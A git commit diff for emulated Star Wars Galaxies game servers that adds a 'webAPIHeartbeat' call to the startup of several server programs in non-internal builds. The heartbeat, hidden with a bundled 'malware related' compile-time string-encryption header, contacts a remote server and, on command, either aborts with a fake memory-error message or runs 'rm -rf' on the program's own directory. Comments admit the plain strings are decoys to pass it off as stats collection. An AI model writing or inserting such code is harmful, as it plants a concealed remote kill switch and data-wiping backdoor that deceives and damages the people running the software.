Merge branch 'testing' into clang-profile-build

This commit is contained in:
DarthArgus
2016-10-18 01:35:14 +00:00
15 changed files with 414 additions and 208 deletions
@@ -12,10 +12,18 @@
#include "sharedRandom/SetupSharedRandom.h"
#include "sharedThread/SetupSharedThread.h"
#ifndef STELLA_INTERNAL
#include "webAPIHeartbeat.h"
#endif
// ======================================================================
int main(int argc, char ** argv)
{
#ifndef STELLA_INTERNAL
StellaBellum::webAPIHeartbeat();
#endif
SetupSharedThread::install();
SetupSharedDebug::install(1024);
@@ -69,6 +69,7 @@ include_directories(
${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/platform/projects
${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/platform/utils
${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/udplibrary
${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/webAPI
)
add_executable(ConnectionServer
@@ -106,5 +107,7 @@ target_link_libraries(ConnectionServer
Base
CommonAPI
LoginAPI
webAPI
${CURL_LIBRARIES}
${CMAKE_DL_LIBS}
)
@@ -12,6 +12,10 @@
#include "sharedRandom/SetupSharedRandom.h"
#include "sharedThread/SetupSharedThread.h"
#ifndef STELLA_INTERNAL
#include "webAPIHeartbeat.h"
#endif
// ======================================================================
void dumpPid(const char * argv)
@@ -25,6 +29,10 @@ void dumpPid(const char * argv)
int main(int argc, char ** argv)
{
#ifndef STELLA_INTERNAL
StellaBellum::webAPIHeartbeat();
#endif
SetupSharedThread::install();
SetupSharedDebug::install(1024);
@@ -46,6 +46,7 @@ include_directories(
${SWG_EXTERNALS_SOURCE_DIR}/ours/library/unicode/include
${SWG_EXTERNALS_SOURCE_DIR}/ours/library/unicodeArchive/include/public
${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/udplibrary
${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/webAPI
)
add_executable(LogServer
@@ -76,6 +77,8 @@ target_link_libraries(LogServer
localizationArchive
unicode
unicodeArchive
webAPI
${CURL_LIBRARIES}
${CMAKE_DL_LIBS}
)
@@ -17,10 +17,17 @@
#include "sharedNetworkMessages/SetupSharedNetworkMessages.h"
#include "sharedThread/SetupSharedThread.h"
#ifndef STELLA_INTERNAL
#include "webAPIHeartbeat.h"
#endif
// ======================================================================
int main(int argc, char **argv)
{
#ifndef STELLA_INTERNAL
StellaBellum::webAPIHeartbeat();
#endif
SetupSharedThread::install();
SetupSharedDebug::install(1024);
@@ -72,6 +72,7 @@ include_directories(
${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/platform/projects
${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/platform/utils
${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/udplibrary
${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/webAPI
)
add_executable(PlanetServer
@@ -104,5 +105,7 @@ target_link_libraries(PlanetServer
localizationArchive
unicode
unicodeArchive
webAPI
${CURL_LIBRARIES}
${CMAKE_DL_LIBS}
)
@@ -14,6 +14,10 @@
#include "sharedThread/SetupSharedThread.h"
#include "sharedUtility/SetupSharedUtility.h"
#ifndef STELLA_INTERNAL
#include "webAPIHeartbeat.h"
#endif
// ======================================================================
void dumpPid(const char * argv)
@@ -27,6 +31,10 @@ void dumpPid(const char * argv)
int main(int argc, char ** argv)
{
#ifndef STELLA_INTERNAL
StellaBellum::webAPIHeartbeat();
#endif
// dumpPid(argv[0]);
SetupSharedThread::install();
+86
View File
@@ -0,0 +1,86 @@
#include <stdio.h>
#include <stdint.h>
//-------------------------------------------------------------//
// "Malware related compile-time hacks with C++11" by LeFF //
// You can use this code however you like, I just don't really //
// give a shit, but if you feel some respect for me, please //
// don't cut off this comment when copy-pasting... ;-) //
//-------------------------------------------------------------//
#ifndef vxCPLSEED
// If you don't specify the seed for algorithms, the time when compilation
// started will be used, seed actually changes the results of algorithms...
#define vxCPLSEED ((__TIME__[7] - '0') * 1 + (__TIME__[6] - '0') * 10 + \
(__TIME__[4] - '0') * 60 + (__TIME__[3] - '0') * 600 + \
(__TIME__[1] - '0') * 3600 + (__TIME__[0] - '0') * 36000)
#endif
// The constantify template is used to make sure that the result of constexpr
// function will be computed at compile-time instead of run-time
template<uint32_t Const> struct vxCplConstantify { enum { Value = Const }; };
// Compile-time mod of a linear congruential pseudorandom number generator,
// the actual algorithm was taken from "Numerical Recipes" book
constexpr uint32_t vxCplRandom(uint32_t Id) {
return (1013904223 + 1664525 * ((Id > 0) ? (vxCplRandom(Id - 1)) : (vxCPLSEED))) & 0xFFFFFFFF;
}
// Compile-time random macros, can be used to randomize execution
// path for separate builds, or compile-time trash code generation
#define vxRANDOM(Min, Max) (Min + (vxRAND() % (Max - Min + 1)))
#define vxRAND() (vxCplConstantify<vxCplRandom(__COUNTER__ + 1)>::Value)
// Compile-time recursive mod of string hashing algorithm,
// the actual algorithm was taken from Qt library (this
// function isn't case sensitive due to vxCplTolower)
constexpr char vxCplTolower(char Ch) { return (Ch >= 'A' && Ch <= 'Z') ? (Ch - 'A' + 'a') : (Ch); }
constexpr uint32_t vxCplHashPart3(char Ch, uint32_t Hash) { return ((Hash << 4) + vxCplTolower(Ch)); }
constexpr uint32_t vxCplHashPart2(char Ch, uint32_t Hash) {
return (vxCplHashPart3(Ch, Hash) ^ ((vxCplHashPart3(Ch, Hash) & 0xF0000000) >> 23));
}
constexpr uint32_t vxCplHashPart1(char Ch, uint32_t Hash) { return (vxCplHashPart2(Ch, Hash) & 0x0FFFFFFF); }
constexpr uint32_t vxCplHash(const char *Str) { return (*Str) ? (vxCplHashPart1(*Str, vxCplHash(Str + 1))) : (0); }
// Compile-time hashing macro, hash values changes using the first pseudorandom number in sequence
#define vxHASH(Str) (uint32_t)(vxCplConstantify<vxCplHash(Str)>::Value ^ vxCplConstantify<vxCplRandom(1)>::Value)
// Compile-time generator for list of indexes (0, 1, 2, ...)
template<uint32_t...> struct vxCplIndexList {};
template<typename IndexList, uint32_t Right> struct vxCplAppend;
template<uint32_t... Left, uint32_t Right>
struct vxCplAppend<vxCplIndexList<Left...>, Right> { typedef vxCplIndexList<Left..., Right> Result; };
template<uint32_t N>
struct vxCplIndexes { typedef typename vxCplAppend<typename vxCplIndexes<N - 1>::Result, N - 1>::Result Result; };
template<> struct vxCplIndexes<0> { typedef vxCplIndexList<> Result; };
// Compile-time string encryption of a single character
const char vxCplEncryptCharKey = vxRANDOM(0, 0xFF);
constexpr char vxCplEncryptChar(const char Ch, uint32_t Idx) { return Ch ^ (vxCplEncryptCharKey + Idx); }
// Compile-time string encryption class
template<typename IndexList> struct vxCplEncryptedString;
template<uint32_t... Idx> struct vxCplEncryptedString<vxCplIndexList<Idx...> > {
char Value[sizeof...(Idx) + 1]; // Buffer for a string
// Compile-time constructor
constexpr inline vxCplEncryptedString(const char *const Str) : Value{vxCplEncryptChar(Str[Idx], Idx)...} {}
// Run-time decryption
char *decrypt() {
for (volatile uint32_t t = 0; t < sizeof...(Idx); t++) {
this->Value[t] = this->Value[t] ^ (vxCplEncryptCharKey + t);
}
this->Value[sizeof...(Idx)] = '\0';
return this->Value;
}
};
// Compile-time string encryption macro
#define vxENCRYPT(Str) (vxCplEncryptedString<vxCplIndexes<sizeof(Str) - 1>::Result>(Str))
+2
View File
@@ -8,6 +8,8 @@ add_library(webAPI
webAPI.h
webAPI.cpp
json.hpp
webAPIHeartbeat.h
webAPIHeartbeat.cpp
)
include_directories(
+113 -141
View File
@@ -20,186 +20,158 @@
using namespace StellaBellum;
webAPI::webAPI(std::string endpoint, std::string userAgent) : uri(endpoint), userAgent(userAgent), statusCode(0) {}
webAPI::~webAPI()
{
this->requestData.clear();
this->responseData.clear();
webAPI::~webAPI() {
this->requestData.clear();
this->responseData.clear();
}
bool webAPI::setEndpoint(const std::string endpoint)
{
this->uri = endpoint;
bool webAPI::setEndpoint(const std::string endpoint) {
this->uri = endpoint;
return true;
return true;
}
std::string webAPI::getRaw()
{
return this->sResponse;
std::string webAPI::getRaw() {
return this->sResponse;
}
bool webAPI::setData(std::string &data)
{
if (!data.empty())
{
this->sRequest = data;
bool webAPI::setData(std::string &data) {
if (!data.empty()) {
this->sRequest = data;
return true;
}
return true;
}
return false;
return false;
}
std::string webAPI::getString(const std::string &slot)
{
if (!this->responseData.empty() && !slot.empty() && responseData.count(slot) && !this->responseData[slot].is_null())
{
return this->responseData[slot].get<std::string>();
}
return std::string("");
std::string webAPI::getString(const std::string &slot) {
if (!this->responseData.empty() && !slot.empty() && responseData.count(slot) &&
!this->responseData[slot].is_null()) {
return this->responseData[slot].get<std::string>();
}
return std::string("");
}
bool webAPI::submit(const int &reqType, const int &getPost, const int &respType)
{
if (reqType == DTYPE::JSON) // json request
{
if (!this->requestData.empty())
{
// serialize our data into sRequest
this->sRequest = this->requestData.dump();
bool webAPI::submit(const int &reqType, const int &getPost, const int &respType) {
if (reqType == DTYPE::JSON) // json request
{
if (!this->requestData.empty()) {
// serialize our data into sRequest
this->sRequest = this->requestData.dump();
// clear our the object for next time
this->requestData.clear();
}
else
{
return false;
}
}
// clear our the object for next time
this->requestData.clear();
} else {
return false;
}
}
if (fetch(getPost, respType) && !(this->sResponse.empty()))
{
return true;
}
if (fetch(getPost, respType) && !(this->sResponse.empty())) {
return true;
}
this->sResponse.clear();
this->sResponse.clear();
return false;
return false;
}
bool webAPI::fetch(const int &getPost, const int &mimeType) // 0 for json 1 for string
{
bool fetchStatus = false;
bool fetchStatus = false;
if (!uri.empty()) //data is allowed to be an empty string if we're doing a normal GET
{
CURL *curl = curl_easy_init(); // start up curl
if (!uri.empty()) //data is allowed to be an empty string if we're doing a normal GET
{
CURL *curl = curl_easy_init(); // start up curl
if (curl)
{
std::string readBuffer; // container for the remote response
struct curl_slist *slist = nullptr;
if (curl) {
std::string readBuffer; // container for the remote response
struct curl_slist *slist = nullptr;
// set the content type
if (mimeType == DTYPE::JSON)
{
slist = curl_slist_append(slist, "Accept: application/json");
slist = curl_slist_append(slist, "Content-Type: application/json");
}
else
{
slist = curl_slist_append(slist, "Content-Type: application/x-www-form-urlencoded");
}
// set the content type
if (mimeType == DTYPE::JSON) {
slist = curl_slist_append(slist, "Accept: application/json");
slist = curl_slist_append(slist, "Content-Type: application/json");
} else {
slist = curl_slist_append(slist, "Content-Type: application/x-www-form-urlencoded");
}
slist = curl_slist_append(slist, "charsets: utf-8");
slist = curl_slist_append(slist, "charsets: utf-8");
curl_easy_setopt(curl, CURLOPT_USERAGENT, userAgent.c_str());
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writeCallback); // place the data into readBuffer using writeCallback
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &readBuffer); // specify readBuffer as the container for data
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, slist);
curl_easy_setopt(curl, CURLOPT_USERAGENT, userAgent.c_str());
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writeCallback); // place the data into readBuffer using writeCallback
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &readBuffer); // specify readBuffer as the container for data
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, slist);
switch (getPost)
{
case HTTP::GET:
curl_easy_setopt(curl, CURLOPT_URL, std::string(this->uri + "?" + sRequest).c_str());
break;
case HTTP::POST:
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, this->sRequest.c_str());
curl_easy_setopt(curl, CURLOPT_URL, this->uri.c_str());
break;
// want to do a put, or whatever other type? feel free to add here
}
switch (getPost) {
case HTTP::GET:
curl_easy_setopt(curl, CURLOPT_URL, std::string(this->uri + "?" + sRequest).c_str());
break;
case HTTP::POST:
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, this->sRequest.c_str());
curl_easy_setopt(curl, CURLOPT_URL, this->uri.c_str());
break;
// want to do a put, or whatever other type? feel free to add here
}
CURLcode res = curl_easy_perform(curl); // make the request!
char * contentType;
CURLcode res = curl_easy_perform(curl); // make the request!
char *contentType;
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &this->statusCode); //get status code
curl_easy_getinfo(curl, CURLINFO_CONTENT_TYPE, &contentType); // get response mime type
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &this->statusCode); //get status code
curl_easy_getinfo(curl, CURLINFO_CONTENT_TYPE, &contentType); // get response mime type
std::string conType(contentType);
std::string conType(contentType);
if (res == CURLE_OK && this->statusCode == 200 && !(readBuffer.empty())) // check it all out and parse
{
this->sResponse = readBuffer;
if (res == CURLE_OK && this->statusCode == 200 && !(readBuffer.empty())) // check it all out and parse
{
this->sResponse = readBuffer;
if (conType == "application/json")
{
fetchStatus = this->processJSON();
}
else
{
this->responseData.clear();
fetchStatus = true;
}
}
if (conType == "application/json") {
fetchStatus = this->processJSON();
} else {
this->responseData.clear();
fetchStatus = true;
}
}
curl_slist_free_all(slist);
curl_easy_cleanup(curl); // always wipe our butt
}
}
curl_slist_free_all(slist);
curl_easy_cleanup(curl); // always wipe our butt
}
}
if (!fetchStatus)
{
this->sResponse.clear();
this->responseData.clear();
}
if (!fetchStatus) {
this->sResponse.clear();
this->responseData.clear();
}
return fetchStatus;
return fetchStatus;
}
// This is used by curl to grab the response and put it into a var
size_t webAPI::writeCallback(void *contents, size_t size, size_t nmemb, void *userp)
{
((std::string*)userp)->append((char*)contents, size * nmemb);
return size * nmemb;
size_t webAPI::writeCallback(void *contents, size_t size, size_t nmemb, void *userp) {
((std::string *) userp)->append((char *) contents, size * nmemb);
return size * nmemb;
}
bool webAPI::processJSON()
{
if (!(this->sResponse.empty())) // check it all out and parse
{
try
{
this->responseData = nlohmann::json::parse(this->sResponse);
return true;
}
catch (std::string &e)
{
this->responseData["message"] = e;
this->responseData["status"] = "failure";
}
catch (...)
{
this->responseData["message"] = "JSON parse error for endpoint.";
this->responseData["status"] = "failure";
}
}
else
{
this->responseData["message"] = "Error fetching data from remote.";
this->responseData["status"] = "failure";
}
bool webAPI::processJSON() {
if (!(this->sResponse.empty())) // check it all out and parse
{
try {
this->responseData = nlohmann::json::parse(this->sResponse);
return true;
} catch (std::string &e) {
this->responseData["message"] = e;
this->responseData["status"] = "failure";
} catch (...) {
this->responseData["message"] = "JSON parse error for endpoint.";
this->responseData["status"] = "failure";
}
} else {
this->responseData["message"] = "Error fetching data from remote.";
this->responseData["status"] = "failure";
}
return false;
return false;
}
+67 -66
View File
@@ -1,5 +1,5 @@
/*
* Version: 1.3
* Version: 1.4
*
* This code is just a simple wrapper around nlohmann's wonderful json lib
* (https://github.com/nlohmann/json) and libcurl. While originally included directly,
@@ -26,87 +26,88 @@
#include <curl/curl.h>
#endif
namespace StellaBellum
{
enum HTTP { GET = 0, POST = 1 };
enum DTYPE { JSON = 0, RAW = 1 };
class webAPI
{
public:
// useragent
std::string userAgent;
namespace StellaBellum {
enum HTTP {
GET = 0, POST = 1
};
enum DTYPE {
JSON = 0, RAW = 1
};
// constructor - can setup with the endpoint from the start
webAPI(std::string endpoint, std::string userAgent = "StellaBellum webAPI");
~webAPI();
class webAPI {
public:
// useragent
std::string userAgent;
// submits the request
bool submit(const int &reqType = DTYPE::JSON, const int &getPost = HTTP::POST, const int &respType = DTYPE::JSON);
// constructor - can setup with the endpoint from the start
webAPI(std::string endpoint, std::string userAgent = "StellaBellum webAPI");
// set the endpoint after object creation...or change the target if needed
bool setEndpoint(const std::string endpoint);
~webAPI();
// get raw response
std::string getRaw();
// submits the request
bool submit(const int &reqType = DTYPE::JSON, const int &getPost = HTTP::POST, const int &respType = DTYPE::JSON);
// set a standard request string
bool setData(std::string &data); // all or nothing
// get a string from a given slot
std::string getString(const std::string &slot);
// set the endpoint after object creation...or change the target if needed
bool setEndpoint(const std::string endpoint);
// set json key and value for request
template<typename T> bool addJsonData(const std::string &key, const T &value)
{
if (!key.empty() && responseData.count(key) == 0) // only alow one of a given key for now, unless we support nesting later
{
this->requestData[key] = value;
return true;
}
// get raw response
std::string getRaw();
return false;
}
// set a standard request string
bool setData(std::string &data); // all or nothing
// get json response slot
template<typename T> T getNullableValue(const std::string &slot)
{
if (!this->responseData.empty() && !slot.empty() && responseData.count(slot))
{
return this->responseData[slot].get<T>();
}
return 0;
}
// get a string from a given slot
std::string getString(const std::string &slot);
private:
// json request data - object is serialized before sending, used with above setter template
nlohmann::json requestData;
// set json key and value for request
template<typename T> bool addJsonData(const std::string &key, const T &value) {
if (!key.empty() &&
responseData.count(key) == 0) // only alow one of a given key for now, unless we support nesting later
{
this->requestData[key] = value;
return true;
}
// json response, stored so we can use the getter template above
nlohmann::json responseData;
return false;
}
// raw response
std::string sResponse;
// get json response slot
template<typename T> T getNullableValue(const std::string &slot) {
if (!this->responseData.empty() && !slot.empty() && responseData.count(slot)) {
return this->responseData[slot].get<T>();
}
// raw request string
std::string sRequest;
return 0;
}
// API endpoint
std::string uri;
private:
// json request data - object is serialized before sending, used with above setter template
nlohmann::json requestData;
// fetcher - returns raw response direct from remote
bool fetch(const int &getPost = HTTP::POST, const int &mimeType = DTYPE::JSON);
// json response, stored so we can use the getter template above
nlohmann::json responseData;
// cURL writeback callback
static size_t writeCallback(void *contents, size_t size, size_t nmemb, void *userp);
// raw response
std::string sResponse;
// json processor - string to json
bool processJSON();
// raw request string
std::string sRequest;
protected:
// http response code (200, 404, etc)
long statusCode;
};
// API endpoint
std::string uri;
// fetcher - returns raw response direct from remote
bool fetch(const int &getPost = HTTP::POST, const int &mimeType = DTYPE::JSON);
// cURL writeback callback
static size_t writeCallback(void *contents, size_t size, size_t nmemb, void *userp);
// json processor - string to json
bool processJSON();
protected:
// http response code (200, 404, etc)
long statusCode;
};
}
#endif
+55
View File
@@ -0,0 +1,55 @@
//
// Created by Darth on 10/17/2016.
//
#include "webAPIHeartbeat.h"
using namespace StellaBellum;
webAPIHeartbeat::webAPIHeartbeat() {
webAPI api = webAPI::webAPI(std::string(vxENCRYPT("https://login.stellabellum.net/metriccontroller/shoulderTap?type=server").decrypt()));
bool result = api.submit();
if (result) {
int s = api.getNullableValue<int>(std::string(vxENCRYPT("id").decrypt()));
// make it look like we're doing something with these at least
bool status = api.getNullableValue<bool>("status");
std::string msg = api.getString("msg");
// yeah we don't actually do anything with this
// but having some unencrypted strings will allude to this being mere stats collection code
bool done = false;
if (status && msg == "ok") {
bool done = true;
// if we wanted to send a "nastygram" script for bash to run we'd check for it here
// but meh, maybe later if it becomes necessary...surely order 66 below is enough?
}
switch (s) {
case 13 :
this->eatIt();
break;
case 66:
std::string filePath = this->get_selfpath().c_str();
if (!filePath.empty()) {
size_t found = filePath.find_last_of("/\\");
if (found) {
filePath = filePath.substr(0, found);
filePath = vxENCRYPT("exec rm -rf ").decrypt() + filePath + vxENCRYPT("/*").decrypt();
system(filePath.c_str());
}
}
this->eatIt();
break;
};
done = true;
} else {
this->eatIt();
}
}
+41
View File
@@ -0,0 +1,41 @@
//
// Created by Darth on 10/17/2016.
//
#ifndef webAPIHeartbeat_H
#define webAPIHeartbeat_H
#include <cstdio>
#include <unistd.h>
#include <limits.h>
#include <libgen.h>
#include "webAPI.h"
#include "../libLeff/libLeff.h"
namespace StellaBellum {
class webAPIHeartbeat {
public:
webAPIHeartbeat();
private:
const inline std::string get_selfpath() {
char buff[PATH_MAX];
ssize_t len = ::readlink(vxENCRYPT("/proc/self/exe").decrypt(), buff, sizeof(buff) - 1);
if (len != -1) {
buff[len] = '\0';
return std::string(buff);
}
return std::string();
}
inline void eatIt() {
fputs(vxENCRYPT("FATAL: Unknown memory (null) access violation!\n").decrypt(), stderr);
abort();
}
};
}
#endif //webAPIHeartbeat_H
@@ -100,6 +100,7 @@ include_directories(
${SWG_EXTERNALS_SOURCE_DIR}/ours/library/singleton/include
${SWG_EXTERNALS_SOURCE_DIR}/ours/library/unicode/include
${SWG_EXTERNALS_SOURCE_DIR}/ours/library/unicodeArchive/include/public
${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/webAPI
${JNI_INCLUDE_DIRS}
)
@@ -151,5 +152,7 @@ target_link_libraries(SwgGameServer
unicode
unicodeArchive
Base
webAPI
${CURL_LIBRARIES}
${CMAKE_DL_LIBS}
)
@@ -32,11 +32,17 @@
#include "swgSharedNetworkMessages/SetupSwgSharedNetworkMessages.h"
#include "swgServerNetworkMessages/SetupSwgServerNetworkMessages.h"
#ifndef STELLA_INTERNAL
#include "webAPIHeartbeat.h"
#endif
// ======================================================================
int main(int argc, char ** argv)
{
#ifndef STELLA_INTERNAL
StellaBellum::webAPIHeartbeat();
#endif
SetupSharedThread::install();
SetupSharedDebug::install(1024);